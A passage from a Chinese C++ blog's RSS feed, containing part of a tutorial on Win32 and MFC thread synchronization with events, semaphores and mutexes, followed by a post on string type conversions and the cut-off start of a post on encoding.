<br>　　在创建线程前，首先创建一个可以自动复位的事件内核对象hEvent，而线程函数则通过WaitForSingleObject（）等待函数无限等待hEvent的置位，只有在事件置位时WaitForSingleObject（）才会返回，被保护的代码将得以执行。对于以自动复位方式创建的事件对象，在其置位后一被WaitForSingleObject（）等待到就会立即复位，也就是说在执行ThreadProc12（）中的受保护代码时，事件对象已经是复位状态的，这时即使有ThreadProc13（）对CPU的抢占，也会由于WaitForSingleObject（）没有hEvent的置位而不能继续执行，也就没有可能破坏受保护的共享资源。在ThreadProc12（）中的处理完成后可以通过SetEvent（）对hEvent的置位而允许ThreadProc13（）对共享资源g_cArray的处理。这里SetEvent（）所起的作用可以看作是对某项特定任务完成的通知。<br><br>　　使用临界区只能同步同一进程中的线程，而使用事件内核对象则可以对进程外的线程进行同步，其前提是得到对此事件对象的访问权。可以通过OpenEvent（）函数获取得到，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE OpenEvent(<br>　DWORD dwDesiredAccess, // 访问标志<br>　BOOL bInheritHandle, // 继承标志<br>　LPCTSTR lpName // 指向事件对象名的指针<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　如果事件对象已创建（在创建事件时需要指定事件名），函数将返回指定事件的句柄。对于那些在创建事件时没有指定事件名的事件内核对象，可以通过使用内核对象的继承性或是调用DuplicateHandle（）函数来调用CreateEvent（）以获得对指定事件对象的访问权。在获取到访问权后所进行的同步操作与在同一个进程中所进行的线程同步操作是一样的。<br><br>　　如果需要在一个线程中等待多个事件，则用WaitForMultipleObjects（）来等待。WaitForMultipleObjects（）与WaitForSingleObject（）类似，同时监视位于句柄数组中的所有句柄。这些被监视对象的句柄享有平等的优先权，任何一个句柄都不可能比其他句柄具有更高的优先权。WaitForMultipleObjects（）的函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>DWORD WaitForMultipleObjects(<br>　DWORD nCount, // 等待句柄数<br>　CONST HANDLE *lpHandles, // 句柄数组首地址<br>　BOOL fWaitAll, // 等待标志<br>　DWORD dwMilliseconds // 等待时间间隔<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　参数nCount指定了要等待的内核对象的数目，存放这些内核对象的数组由lpHandles来指向。fWaitAll对指定的这nCount个内核对象的两种等待方式进行了指定，为TRUE时当所有对象都被通知时函数才会返回，为FALSE则只要其中任何一个得到通知就可以返回。dwMilliseconds在这里的作用与在WaitForSingleObject（）中的作用是完全一致的。如果等待超时，函数将返回WAIT_TIMEOUT。如果返回WAIT_OBJECT_0到WAIT_OBJECT_0+nCount-1中的某个值，则说明所有指定对象的状态均为已通知状态（当fWaitAll为TRUE时）或是用以减去WAIT_OBJECT_0而得到发生通知的对象的索引（当fWaitAll为FALSE时）。如果返回值在WAIT_ABANDONED_0与WAIT_ABANDONED_0+nCount-1之间，则表示所有指定对象的状态均为已通知，且其中至少有一个对象是被丢弃的互斥对象（当fWaitAll为TRUE时），或是用以减去WAIT_OBJECT_0表示一个等待正常结束的互斥对象的索引（当fWaitAll为FALSE时）。 下面给出的代码主要展示了对WaitForMultipleObjects（）函数的使用。通过对两个事件内核对象的等待来控制线程任务的执行与中途退出：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 存放事件句柄的数组<br>HANDLE hEvents[2];<br>UINT ThreadProc14(LPVOID pParam)<br>{ <br>　// 等待开启事件<br>　DWORD dwRet1 = WaitForMultipleObjects(2, hEvents, FALSE, INFINITE);<br>　// 如果开启事件到达则线程开始执行任务<br>　if (dwRet1 == WAIT_OBJECT_0)<br>　{<br>　　AfxMessageBox("线程开始工作!");<br>　　while (true)<br>　　{<br>　　　for (int i = 0; i &lt; 10000; i++);<br>　　　// 在任务处理过程中等待结束事件 <br>　　　DWORD dwRet2 = WaitForMultipleObjects(2, hEvents, FALSE, 0);<br>　　　// 如果结束事件置位则立即终止任务的执行<br>　　　if (dwRet2 == WAIT_OBJECT_0 + 1)<br>　　　　break;<br>　　}<br>　}<br>　AfxMessageBox("线程退出!");<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnStartEvent() <br>{<br>　// 创建线程<br>　for (int i = 0; i &lt; 2; i++)<br>　　hEvents[i] = CreateEvent(NULL, FALSE, FALSE, NULL);<br>　　// 开启线程<br>　　AfxBeginThread(ThreadProc14, NULL);<br>　　// 设置事件0(开启事件)<br>　　SetEvent(hEvents[0]);<br>}<br>void CSample08View::OnEndevent() <br>{<br>　// 设置事件1(结束事件)<br>　SetEvent(hEvents[1]);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　MFC为事件相关处理也提供了一个CEvent类，共包含有除构造函数外的4个成员函数PulseEvent（）、ResetEvent（）、SetEvent（）和UnLock（）。在功能上分别相当与Win32 API的PulseEvent（）、ResetEvent（）、SetEvent（）和CloseHandle（）等函数。而构造函数则履行了原CreateEvent（）函数创建事件对象的职责，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>CEvent(BOOL bInitiallyOwn = FALSE, BOOL bManualReset = FALSE, LPCTSTR lpszName = NULL, LPSECURITY_ATTRIBUTES lpsaAttribute = NULL );</td>
        </tr>
    </tbody>
</table>
<br>　　按照此缺省设置将创建一个自动复位、初始状态为复位状态的没有名字的事件对象。封装后的CEvent类使用起来更加方便，图2即展示了CEvent类对A、B两线程的同步过程：<br><br><img height=97 alt=Thread02.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/Thread02.jpg" width=329 border=0><br>图2 CEvent类对线程的同步过程示意<br><br>　　B线程在执行到CEvent类成员函数Lock（）时将会发生阻塞，而A线程此时则可以在没有B线程干扰的情况下对共享资源进行处理，并在处理完成后通过成员函数SetEvent（）向B发出事件，使其被释放，得以对A先前已处理完毕的共享资源进行操作。可见，使用CEvent类对线程的同步方法与通过API函数进行线程同步的处理方法是基本一致的。前面的API处理代码可用CEvent类将其改写为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC事件类对象<br>CEvent g_clsEvent;<br>UINT ThreadProc22(LPVOID pParam)<br>{<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 事件置位<br>　g_clsEvent.SetEvent();<br>　return 0;<br>}<br>UINT ThreadProc23(LPVOID pParam)<br>{<br>　// 等待事件<br>　g_clsEvent.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnEventMfc() <br>{<br>　// 启动线程<br>　AfxBeginThread(ThreadProc22, NULL);<br>　AfxBeginThread(ThreadProc23, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br><strong>信号量内核对象<br><br></strong>　　信号量（Semaphore）内核对象对线程的同步方式与前面几种方法不同，它允许多个线程在同一时刻访问同一资源，但是需要限制在同一时刻访问此资源的最大线程数目。在用CreateSemaphore（）创建信号量时即要同时指出允许的最大资源计数和当前可用资源计数。一般是将当前可用资源计数设置为最大资源计数，每增加一个线程对共享资源的访问，当前可用资源计数就会减1，只要当前可用资源计数是大于0的，就可以发出信号量信号。但是当前可用计数减小到0时则说明当前占用资源的线程数已经达到了所允许的最大数目，不能在允许其他线程的进入，此时的信号量信号将无法发出。线程在处理完共享资源后，应在离开的同时通过ReleaseSemaphore（）函数将当前可用资源计数加1。在任何时候当前可用资源计数决不可能大于最大资源计数。<br><br><img height=82 alt=thread03.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread03.jpg" width=308 border=0><br>图3 使用信号量对象控制资源<br><br>　　下面结合图例3来演示信号量对象对资源的控制。在图3中，以箭头和白色箭头表示共享资源所允许的最大资源计数和当前可用资源计数。初始如图（a）所示，最大资源计数和当前可用资源计数均为4，此后每增加一个对资源进行访问的线程（用黑色箭头表示）当前资源计数就会相应减1，图（b）即表示的在3个线程对共享资源进行访问时的状态。当进入线程数达到4个时，将如图（c）所示，此时已达到最大资源计数，而当前可用资源计数也已减到0，其他线程无法对共享资源进行访问。在当前占有资源的线程处理完毕而退出后，将会释放出空间，图（d）已有两个线程退出对资源的占有，当前可用计数为2，可以再允许2个线程进入到对资源的处理。可以看出，信号量是通过计数来对线程访问资源进行控制的，而实际上信号量确实也被称作Dijkstra计数器。<br><br>　　使用信号量内核对象进行线程同步主要会用到CreateSemaphore（）、OpenSemaphore（）、ReleaseSemaphore（）、WaitForSingleObject（）和WaitForMultipleObjects（）等函数。其中，CreateSemaphore（）用来创建一个信号量内核对象，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE CreateSemaphore(<br>　LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, // 安全属性指针<br>　LONG lInitialCount, // 初始计数<br>　LONG lMaximumCount, // 最大计数<br>　LPCTSTR lpName // 对象名指针<br>); </td>
        </tr>
    </tbody>
</table>
<br>　　参数lMaximumCount是一个有符号32位值，定义了允许的最大资源计数，最大取值不能超过4294967295。lpName参数可以为创建的信号量定义一个名字，由于其创建的是一个内核对象，因此在其他进程中可以通过该名字而得到此信号量。OpenSemaphore（）函数即可用来根据信号量名打开在其他进程中创建的信号量，函数原型如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE OpenSemaphore(<br>　DWORD dwDesiredAccess, // 访问标志<br>　BOOL bInheritHandle, // 继承标志<br>　LPCTSTR lpName // 信号量名<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　在线程离开对共享资源的处理时，必须通过ReleaseSemaphore（）来增加当前可用资源计数。否则将会出现当前正在处理共享资源的实际线程数并没有达到要限制的数值，而其他线程却因为当前可用资源计数为0而仍无法进入的情况。ReleaseSemaphore（）的函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>BOOL ReleaseSemaphore(<br>　HANDLE hSemaphore, // 信号量句柄<br>　LONG lReleaseCount, // 计数递增数量<br>　LPLONG lpPreviousCount // 先前计数<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　该函数将lReleaseCount中的值添加给信号量的当前资源计数，一般将lReleaseCount设置为1，如果需要也可以设置其他的值。WaitForSingleObject（）和WaitForMultipleObjects（）主要用在试图进入共享资源的线程函数入口处，主要用来判断信号量的当前可用资源计数是否允许本线程的进入。只有在当前可用资源计数值大于0时，被监视的信号量内核对象才会得到通知。<br><br>　　信号量的使用特点使其更适用于对Socket（套接字）程序中线程的同步。例如，网络上的HTTP服务器要对同一时间内访问同一页面的用户数加以限制，这时可以为没一个用户对服务器的页面请求设置一个线程，而页面则是待保护的共享资源，通过使用信号量对线程的同步作用可以确保在任一时刻无论有多少用户对某一页面进行访问，只有不大于设定的最大用户数目的线程能够进行访问，而其他的访问企图则被挂起，只有在有用户退出对此页面的访问后才有可能进入。下面给出的示例代码即展示了类似的处理过程：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 信号量对象句柄<br>HANDLE hSemaphore;<br>UINT ThreadProc15(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　WaitForSingleObject(hSemaphore, INFINITE);<br>　// 线程任务处理<br>　AfxMessageBox("线程一正在执行!");<br>　// 释放信号量计数<br>　ReleaseSemaphore(hSemaphore, 1, NULL);<br>　return 0;<br>}<br>UINT ThreadProc16(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　WaitForSingleObject(hSemaphore, INFINITE);<br>　// 线程任务处理<br>　AfxMessageBox("线程二正在执行!");<br>　// 释放信号量计数<br>　ReleaseSemaphore(hSemaphore, 1, NULL);<br>　return 0;<br>}<br>UINT ThreadProc17(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　WaitForSingleObject(hSemaphore, INFINITE);<br>　// 线程任务处理<br>　AfxMessageBox("线程三正在执行!");<br>　// 释放信号量计数<br>　ReleaseSemaphore(hSemaphore, 1, NULL);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnSemaphore() <br>{<br>　// 创建信号量对象<br>　hSemaphore = CreateSemaphore(NULL, 2, 2, NULL);<br>　// 开启线程<br>　AfxBeginThread(ThreadProc15, NULL);<br>　AfxBeginThread(ThreadProc16, NULL);<br>　AfxBeginThread(ThreadProc17, NULL);<br>}</td>
        </tr>
    </tbody>
</table>
<br><img height=152 alt=thread04.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread04.jpg" width=242 border=0><br>图4 开始进入的两个线程<br><br><img height=152 alt=thread05.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread05.jpg" width=242 border=0><br>图5 线程二退出后线程三才得以进入<br><br>　　上述代码在开启线程前首先创建了一个初始计数和最大资源计数均为2的信号量对象hSemaphore。即在同一时刻只允许2个线程进入由hSemaphore保护的共享资源。随后开启的三个线程均试图访问此共享资源，在前两个线程试图访问共享资源时，由于hSemaphore的当前可用资源计数分别为2和1，此时的hSemaphore是可以得到通知的，也就是说位于线程入口处的WaitForSingleObject（）将立即返回，而在前两个线程进入到保护区域后，hSemaphore的当前资源计数减少到0，hSemaphore将不再得到通知，WaitForSingleObject（）将线程挂起。直到此前进入到保护区的线程退出后才能得以进入。图4和图5为上述代脉的运行结果。从实验结果可以看出，信号量始终保持了同一时刻不超过2个线程的进入。<br><br>　　在MFC中，通过CSemaphore类对信号量作了表述。该类只具有一个构造函数，可以构造一个信号量对象，并对初始资源计数、最大资源计数、对象名和安全属性等进行初始化，其原型如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>CSemaphore( LONG lInitialCount = 1, LONG lMaxCount = 1, LPCTSTR pstrName = NULL, LPSECURITY_ATTRIBUTES lpsaAttributes = NULL );</td>
        </tr>
    </tbody>
</table>
<br>　　在构造了CSemaphore类对象后，任何一个访问受保护共享资源的线程都必须通过CSemaphore从父类CSyncObject类继承得到的Lock（）和UnLock（）成员函数来访问或释放CSemaphore对象。与前面介绍的几种通过MFC类保持线程同步的方法类似，通过CSemaphore类也可以将前面的线程同步代码进行改写，这两种使用信号量的线程同步方法无论是在实现原理上还是从实现结果上都是完全一致的。下面给出经MFC改写后的信号量线程同步代码：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC信号量类对象<br>CSemaphore g_clsSemaphore(2, 2);<br>UINT ThreadProc24(LPVOID pParam)<br>{ <br>　// 试图进入信号量关口<br>　g_clsSemaphore.Lock();<br>　// 线程任务处理<br>　AfxMessageBox("线程一正在执行!");<br>　// 释放信号量计数<br>　g_clsSemaphore.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc25(LPVOID pParam)<br>{<br>　// 试图进入信号量关口<br>　g_clsSemaphore.Lock();<br>　// 线程任务处理<br>　AfxMessageBox("线程二正在执行!");<br>　// 释放信号量计数<br>　g_clsSemaphore.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc26(LPVOID pParam)<br>{<br>　// 试图进入信号量关口<br>　g_clsSemaphore.Lock();<br>　// 线程任务处理<br>　AfxMessageBox("线程三正在执行!");<br>　// 释放信号量计数<br>　g_clsSemaphore.Unlock();<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnSemaphoreMfc() <br>{<br>　// 开启线程<br>　AfxBeginThread(ThreadProc24, NULL);<br>　AfxBeginThread(ThreadProc25, NULL);<br>　AfxBeginThread(ThreadProc26, NULL);<br>}</td>
        </tr>
    </tbody>
</table>
<br><br><strong>互斥内核对象<br><br></strong>　　互斥（Mutex）是一种用途非常广泛的内核对象。能够保证多个线程对同一共享资源的互斥访问。同临界区有些类似，只有拥有互斥对象的线程才具有访问资源的权限，由于互斥对象只有一个，因此就决定了任何情况下此共享资源都不会同时被多个线程所访问。当前占据资源的线程在任务处理完后应将拥有的互斥对象交出，以便其他线程在获得后得以访问资源。与其他几种内核对象不同，互斥对象在操作系统中拥有特殊代码，并由操作系统来管理，操作系统甚至还允许其进行一些其他内核对象所不能进行的非常规操作。为便于理解，可参照图6给出的互斥内核对象的工作模型：<br><br><img height=78 alt=thread06.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread06.jpg" width=401 border=0><br>图6 使用互斥内核对象对共享资源的保护<br><br>　　图（a）中的箭头为要访问资源（矩形框）的线程，但只有第二个线程拥有互斥对象（黑点）并得以进入到共享资源，而其他线程则会被排斥在外（如图（b）所示）。当此线程处理完共享资源并准备离开此区域时将把其所拥有的互斥对象交出（如图（c）所示），其他任何一个试图访问此资源的线程都有机会得到此互斥对象。<br><br>　　以互斥内核对象来保持线程同步可能用到的函数主要有CreateMutex（）、OpenMutex（）、ReleaseMutex（）、WaitForSingleObject（）和WaitForMultipleObjects（）等。在使用互斥对象前，首先要通过CreateMutex（）或OpenMutex（）创建或打开一个互斥对象。CreateMutex（）函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE CreateMutex(<br>　LPSECURITY_ATTRIBUTES lpMutexAttributes, // 安全属性指针<br>　BOOL bInitialOwner, // 初始拥有者<br>　LPCTSTR lpName // 互斥对象名<br>);</td>
        </tr>
    </tbody>
</table>
<br>　　参数bInitialOwner主要用来控制互斥对象的初始状态。一般多将其设置为FALSE，以表明互斥对象在创建时并没有为任何线程所占有。如果在创建互斥对象时指定了对象名，那么可以在本进程其他地方或是在其他进程通过OpenMutex（）函数得到此互斥对象的句柄。OpenMutex（）函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>HANDLE OpenMutex(<br>　DWORD dwDesiredAccess, // 访问标志<br>　BOOL bInheritHandle, // 继承标志<br>　LPCTSTR lpName // 互斥对象名<br>); </td>
        </tr>
    </tbody>
</table>
<br>　　当目前对资源具有访问权的线程不再需要访问此资源而要离开时，必须通过ReleaseMutex（）函数来释放其拥有的互斥对象，其函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>BOOL ReleaseMutex(HANDLE hMutex);</td>
        </tr>
    </tbody>
</table>
<br>　　其唯一的参数hMutex为待释放的互斥对象句柄。至于WaitForSingleObject（）和WaitForMultipleObjects（）等待函数在互斥对象保持线程同步中所起的作用与在其他内核对象中的作用是基本一致的，也是等待互斥内核对象的通知。但是这里需要特别指出的是：在互斥对象通知引起调用等待函数返回时，等待函数的返回值不再是通常的WAIT_OBJECT_0（对于WaitForSingleObject（）函数）或是在WAIT_OBJECT_0到WAIT_OBJECT_0+nCount-1之间的一个值（对于WaitForMultipleObjects（）函数），而是将返回一个WAIT_ABANDONED_0（对于WaitForSingleObject（）函数）或是在WAIT_ABANDONED_0到WAIT_ABANDONED_0+nCount-1之间的一个值（对于WaitForMultipleObjects（）函数）。以此来表明线程正在等待的互斥对象由另外一个线程所拥有，而此线程却在使用完共享资源前就已经终止。除此之外，使用互斥对象的方法在等待线程的可调度性上同使用其他几种内核对象的方法也有所不同，其他内核对象在没有得到通知时，受调用等待函数的作用，线程将会挂起，同时失去可调度性，而使用互斥的方法却可以在等待的同时仍具有可调度性，这也正是互斥对象所能完成的非常规操作之一。<br><br>　　在编写程序时，互斥对象多用在对那些为多个线程所访问的内存块的保护上，可以确保任何线程在处理此内存块时都对其拥有可靠的独占访问权。下面给出的示例代码即通过互斥内核对象hMutex对共享内存快g_cArray[]进行线程的独占访问保护。下面给出实现代码清单：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 互斥对象<br>HANDLE hMutex = NULL;<br>char g_cArray[10];<br>UINT ThreadProc18(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　WaitForSingleObject(hMutex, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　ReleaseMutex(hMutex);<br>　return 0;<br>}<br>UINT ThreadProc19(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　WaitForSingleObject(hMutex, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　ReleaseMutex(hMutex);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnMutex() <br>{<br>　// 创建互斥对象<br>　hMutex = CreateMutex(NULL, FALSE, NULL);<br>　// 启动线程<br>　AfxBeginThread(ThreadProc18, NULL);<br>　AfxBeginThread(ThreadProc19, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>} </td>
        </tr>
    </tbody>
</table>
<br>　　互斥对象在MFC中通过CMutex类进行表述。使用CMutex类的方法非常简单，在构造CMutex类对象的同时可以指明待查询的互斥对象的名字，在构造函数返回后即可访问此互斥变量。CMutex类也是只含有构造函数这唯一的成员函数，当完成对互斥对象保护资源的访问后，可通过调用从父类CSyncObject继承的UnLock（）函数完成对互斥对象的释放。CMutex类构造函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>CMutex( BOOL bInitiallyOwn = FALSE, LPCTSTR lpszName = NULL, LPSECURITY_ATTRIBUTES lpsaAttribute = NULL );</td>
        </tr>
    </tbody>
</table>
<br>　　该类的适用范围和实现原理与API方式创建的互斥内核对象是完全类似的，但要简洁的多，下面给出就是对前面的示例代码经CMutex类改写后的程序实现清单：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC互斥类对象<br>CMutex g_clsMutex(FALSE, NULL);<br>UINT ThreadProc27(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　g_clsMutex.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　g_clsMutex.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc28(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　g_clsMutex.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　g_clsMutex.Unlock();<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnMutexMfc() <br>{<br>　// 启动线程<br>　AfxBeginThread(ThreadProc27, NULL);<br>　AfxBeginThread(ThreadProc28, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　<strong>小结</strong><br><br>　　线程的使用使程序处理更够更加灵活，而这种灵活同样也会带来各种不确定性的可能。尤其是在多个线程对同一公共变量进行访问时。虽然未使用线程同步的程序代码在逻辑上或许没有什么问题，但为了确保程序的正确、可靠运行，必须在适当的场合采取线程同步措施。</div>
<img src ="http://www.cppblog.com/niewenlong/aggbug/32784.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-09-24 14:53 <a href="http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>类型转换问题</title><link>http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 25 Aug 2007 20:24:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/30843.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/30843.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/30843.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">string&nbsp;转&nbsp;CString&nbsp;<br>CString.format("%s",&nbsp;string.c_str());&nbsp;<br><br>char&nbsp;转&nbsp;CString&nbsp;<br>CString.format("%s",&nbsp;char*);&nbsp;<br><br>char&nbsp;转&nbsp;string&nbsp;<br>string&nbsp;s(char&nbsp;*);&nbsp;<br><br>string&nbsp;转&nbsp;char&nbsp;*&nbsp;<br>char&nbsp;*p&nbsp;=&nbsp;string.c_str();&nbsp;<br><br>CString&nbsp;转&nbsp;string&nbsp;<br>string&nbsp;s(CString.GetBuffer());&nbsp;<br><br>1，string&nbsp;-&gt;&nbsp;CString&nbsp;<br>CString.format("%s",&nbsp;string.c_str());&nbsp;<br>用c_str()确实比data()要好.&nbsp;<br>2，char&nbsp;-&gt;&nbsp;string&nbsp;<br>string&nbsp;s(char&nbsp;*);&nbsp;<br>你的只能初始化，在不是初始化的地方最好还是用assign().&nbsp;<br>3,CString&nbsp;-&gt;&nbsp;string&nbsp;<br>string&nbsp;s(CString.GetBuffer());&nbsp;<br>GetBuffer()后一定要ReleaseBuffer(),否则就没有释放缓冲区所占的空间.&nbsp;<br><br><br>《C++标准函数库》中说的&nbsp;<br>有三个函数可以将字符串的内容转换为字符数组和C—string&nbsp;<br>1.data(),返回没有&#8221;\0&#8220;的字符串数组&nbsp;<br>2,c_str()，返回有&#8221;\0&#8220;的字符串数组&nbsp;<br>3，copy()&nbsp;<br><br>---------------------------------------------------------------&nbsp;<br><br>CString与int、char*、char[100]之间的转换-&nbsp;-&nbsp;<br><br><br>CString与int、char*、char[100]之间的转换-&nbsp;-&nbsp;<br><br><br><br>CString互转int&nbsp;<br><br>将字符转换为整数，可以使用atoi、_atoi64或atol。&nbsp;<br>而将数字转换为CString变量，可以使用CString的Format函数。如&nbsp;<br>CString&nbsp;s;&nbsp;<br>int&nbsp;i&nbsp;=&nbsp;64;&nbsp;<br>s.Format("%d",&nbsp;i)&nbsp;<br>Format函数的功能很强，值得你研究一下。&nbsp;<br><br>void&nbsp;CStrDlg::OnButton1()&nbsp;<br>{&nbsp;<br>//&nbsp;TODO:&nbsp;Add&nbsp;your&nbsp;control&nbsp;notification&nbsp;handler&nbsp;code&nbsp;here&nbsp;<br>CString&nbsp;<br>ss="1212.12";&nbsp;<br>int&nbsp;temp=atoi(ss);&nbsp;<br>CString&nbsp;aa;&nbsp;<br>aa.Format("%d",temp);&nbsp;<br>AfxMessageBox("var&nbsp;is&nbsp;"&nbsp;+&nbsp;aa);&nbsp;<br>}&nbsp;<br><br>sart.Format("%s",buf);&nbsp;<br><br>CString互转char*&nbsp;<br><br>///char&nbsp;*&nbsp;TO&nbsp;cstring&nbsp;<br>CString&nbsp;strtest;&nbsp;<br>char&nbsp;*&nbsp;charpoint;&nbsp;<br>charpoint="give&nbsp;string&nbsp;a&nbsp;value";&nbsp;<br>strtest=charpoint;&nbsp;<br><br><br>///cstring&nbsp;TO&nbsp;char&nbsp;*&nbsp;<br>charpoint=strtest.GetBuffer(strtest.GetLength());&nbsp;<br><br>标准C里没有string,char&nbsp;*==char&nbsp;[]==string&nbsp;<br><br>可以用CString.Format("%s",char&nbsp;*)这个方法来将char&nbsp;*转成CString。要把CString转成char&nbsp;*，用操作符（LPCSTR）CString就可以了。&nbsp;<br><br><br>CString转换&nbsp;char[100]&nbsp;<br><br>char&nbsp;a[100];&nbsp;<br>CString&nbsp;str("aaaaaa");&nbsp;<br>strncpy(a,(LPCTSTR)str,sizeof(a));</span>
<img src ="http://www.cppblog.com/niewenlong/aggbug/30843.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-08-26 04:24 <a href="http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编码问题</title><link>http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 25 Aug 2007 18:33:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/30839.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/30839.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/30839.html</trackback:ping><description><![CDATA[<p>linux下：<br><br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASKBITS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x3F<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASKBYTE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 